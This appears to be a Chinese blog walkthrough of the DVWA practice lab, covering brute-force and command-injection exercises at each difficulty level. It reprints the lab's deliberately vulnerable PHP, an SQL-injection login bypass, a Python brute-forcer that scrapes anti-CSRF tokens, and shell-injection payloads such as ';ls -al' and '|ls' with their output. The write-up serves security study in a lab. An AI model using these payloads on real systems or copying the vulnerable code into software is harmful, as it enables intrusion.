    drwxr-x---. 1 root adm          72 Feb 15  2016 .
    drwxrwxr-x. 1 root syslog       52 Feb 15  2016 ..
    -rw-r-----. 1 root adm    14702938 May 21 11:44 access.log
    -rw-r-----. 1 root adm    22784476 May 21 11:44 error.log
    -rw-r-----. 1 root adm           0 Feb 15  2016 other_vhosts_access.log
    

Impossible

  • 查看代码,只允许包含规定的四个页面,已经写死了

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?> 
    

Brute Force

Low

  • 虽然已知密码就是password,但还是用爆破的手段来解,用yakit的web fuzzer来爆破

    GET /vulnerabilities/brute/?username=admin&password={{payload(pass_top25)}}&Login=Login HTTP/1.1
    Host: 192.168.137.146:81
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Cookie: PHPSESSID=bsfbir78dtitau2tte0g0a0i00; security=low
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
    
  • 而且,看代码登录功能还是用SQL查询的方式来实现的,还没有防护,那直接SQL注入也能登录

    <?php
    if( isset( $_GET[ 'Login' ] ) ) {
        // Get username
        $user = $_GET[ 'username' ];
        // Get password
        $pass = $_GET[ 'password' ];
        $pass = md5( $pass );
        // Check the database
        $query  = "SELECT * FROM users WHERE user = '$user' AND password = '$pass';";
        $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
        if( $result && mysql_num_rows( $result ) == 1 ) {
            // Get users details
            $avatar = mysql_result( $result, 0, "avatar" );
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
        mysql_close();
    }
    ?> 
    
  • SQL注入登录

    http://192.168.137.146:81/vulnerabilities/brute/?username=admin'%23&password=qwert&Login=Login#
    Welcome to the password protected area admin'#
    

Medium

  • 该难度后端在响应时基本都存在2秒以上的延迟,如果不知道密码或者密码复杂度高,则爆破的效率会很低

  • 查看代码,首先对用户输入进行了SQL转义,防止SQL注入,然后使用密码的md5值与数据库内容比较,最后,如果登录失败会sleep两秒才返回结果

    <?php
    if( isset( $_GET[ 'Login' ] ) ) {
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = mysql_real_escape_string( $user );
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = mysql_real_escape_string( $pass );
        $pass = md5( $pass );
        // Check the database
        $query  = "SELECT * FROM users WHERE user = '$user' AND password = '$pass';";
        $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
        if( $result && mysql_num_rows( $result ) == 1 ) {
            // Get users details
            $avatar = mysql_result( $result, 0, "avatar" );
    
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            sleep( 2 );
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
        mysql_close();
    }
    ?> 
    

High

  • 抓取该难度的数据包,发现多了user_token参数,用来防重放和CSRF攻击的

    GET /vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=c18154ad7b06d481481a6aeed7240dad HTTP/1.1
    Host: 192.168.137.146:81
    Cookie: PHPSESSID=8pa0b1ea98sob5ieepfs7s5ul3; security=high
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    
  • 这时候爆破每次发包就需要先发一次页面请求,然后从响应中获取user_token,然后将登录请求中的user_token进行替换,虽然yakit的热加载可以直接完成该任务,但是我这里还是用python脚本来爆破试试

    import requests
    import re
    
    def read_token():
        response = requests.get(url='http://192.168.137.146:81/vulnerabilities/brute/', cookies={'PHPSESSID': '8pa0b1ea98sob5ieepfs7s5ul3', 'security':'high'}).text
        user_token = re.findall(r"(?<=name='user_token' value=')(.*?)(?=')", response)
        return user_token[0]
    
    def brute_force():
        file = open('tmp.txt', 'r')
        passwords = file.readlines()
        for pw in passwords:
            pw = pw.strip()
            response = requests.get(url='http://192.168.137.146:81/vulnerabilities/brute/', 
                                    params={'username': 'admin', 'password': pw, 'Login': 'Login', 'user_token': read_token()}, 
                                    cookies={'PHPSESSID': '8pa0b1ea98sob5ieepfs7s5ul3','security':'high'})
            if 'Welcome to the password protected area admin' in response.text:
                print(f'Password found: {pw}, delay: {response.elapsed.total_seconds()}')
                break
            else:
                print(f'password failed: {pw}, delay: {response.elapsed.total_seconds()}')
    
    if __name__ == '__main__':
        brute_force()
    

Impossible

  • 查看代码,限制了最大失败次数,达到次数会锁定15分钟,每次失败会更新数据库记录信息

    <?php
    
    // 检查是否提交了登录表单
    if( isset( $_POST[ 'Login' ] ) ) {
        // 检查 Anti-CSRF token,防止跨站请求伪造攻击
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // 清理用户名输入
        $user = $_POST[ 'username' ];
        $user = stripslashes( $user ); // 去掉反斜杠
        $user = mysql_real_escape_string( $user ); // 防止SQL注入
    
        // 清理密码输入
        $pass = $_POST[ 'password' ];
        $pass = stripslashes( $pass ); // 去掉反斜杠
        $pass = mysql_real_escape_string( $pass ); // 防止SQL注入
        $pass = md5( $pass ); // 对密码进行MD5加密
    
        // 设置默认值
        $total_failed_login = 3; // 允许失败登录的次数
        $lockout_time       = 15; // 锁定时间(分钟)
        $account_locked     = false; // 账户是否被锁定
    
        // 检查数据库(检查用户信息)
        $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR ); // 绑定用户名参数
        $data->execute(); // 执行查询
        $row = $data->fetch(); // 获取结果
    
        // 检查用户是否被锁定
        if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
            // 计算用户何时可以再次登录
            $last_login = $row[ 'last_login' ]; // 上次登录时间
            $last_login = strtotime( $last_login ); // 转换为时间戳
            $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" ); // 计算锁定时间
            $timenow    = strtotime( "now" ); // 当前时间
    
            // 检查是否已过锁定时间,如果没有,则锁定账户
            if( $timenow > $timeout )
                $account_locked = true;
        }
    
        // 检查数据库(用户名是否匹配密码)
        $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR); // 绑定用户名参数
        $data->bindParam( ':password', $pass, PDO::PARAM_STR ); // 绑定密码参数
        $data->execute(); // 执行查询
        $row = $data->fetch(); // 获取结果
    
        // 如果是有效的登录...
        if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
            // 获取用户详细信息
            $avatar       = $row[ 'avatar' ]; // 用户头像
            $failed_login = $row[ 'failed_login' ]; // 失败登录次数
            $last_login   = $row[ 'last_login' ]; // 上次登录时间
    
            // 登录成功
            echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
            echo "<img src=\"{$avatar}\" />";
    
            // 用户成功登录,给出此前账号可能被爆破的警告
            if( $failed_login >= $total_failed_login ) {
                echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
                echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
            }
    
            // 重置失败登录次数
            $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR ); // 绑定用户名参数
            $data->execute(); // 执行更新
        }
        else {
            // 登录失败
            sleep( rand( 2, 4 ) ); // 随机延迟,防止暴力破解
    
            // 给用户一些反馈
            echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
    
            // 更新失败登录次数
            $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR ); // 绑定用户名参数
            $data->execute(); // 执行更新
        }
    
        // 设置上次登录时间
        $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR ); // 绑定用户名参数
        $data->execute(); // 执行更新
    }
    
    // 生成 Anti-CSRF token,防止跨站请求伪造攻击
    generateSessionToken();
    
    ?>
    

Command Injection

Low

  • 无限制,加分号在后面执行其他命令。

    http://192.168.137.146:81/vulnerabilities/exec/#
    ...
    ip=%3Bls+-al&Submit=Submit
    显示
    total 4
    drwxrwxr-x.  4 www-data www-data   49 Oct  5  2015 .
    drwxrwxr-x. 12 www-data www-data  209 Oct  5  2015 ..
    drwxrwxr-x.  2 www-data www-data   22 Oct  5  2015 help
    -rw-rw-r--.  1 www-data www-data 1830 Oct  5  2015 index.php
    drwxrwxr-x.  2 www-data www-data   77 Oct  5  2015 source
    

Medium

  • 用分号不起作用,使用管道符执行后面的命令即可

    http://192.168.137.146:81/vulnerabilities/exec/#
    ...
    ip=%7Cls&Submit=Submit
    
    help
    index.php
    source
    
  • 查看代码, 将&&、;都替换为空了

    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    ?> 
    

High

  • 依旧没有过滤管道符,使用Medium的方法同样可行,查看代码发现过滤了管道符,但是需要管道符后面有空格才会替换

    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
    
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    ?> 
    

Impossible

  • 查看代码,校验CSRF Token,

    <?php
    // 检查是否提交了表单
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // 检查 Anti-CSRF token,防止跨站请求伪造攻击
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // 获取用户输入的 IP 地址
        $target = $_REQUEST[ 'ip' ];
        // 去除输入中的反斜杠(如果存在)
        $target = stripslashes( $target );
    
        // 将 IP 地址按点号分割
        $octet = explode( ".", $target );
    
        // 检查分割后的每个部分是否都是数字,并且确保分割结果为四个部分
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // 如果所有四个部分都是数字,则重新组合成完整的 IP 地址
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
    
            // 根据操作系统执行 ping 命令
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // 如果是 Windows 系统
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // 如果是 *nix 系统(如 Linux 或 macOS)
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
    
            // 将 ping 命令的输出显示给用户
            echo "<pre>{$cmd}</pre>";
        }
        else {
            // 如果输入的 IP 地址无效,提示用户
            echo '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
    
    // 生成 Anti-CSRF token,用于防止跨站请求伪造攻击
    generateSessionToken();
    ?>
    

     

暂无评论

发送评论 编辑评论


				
上一篇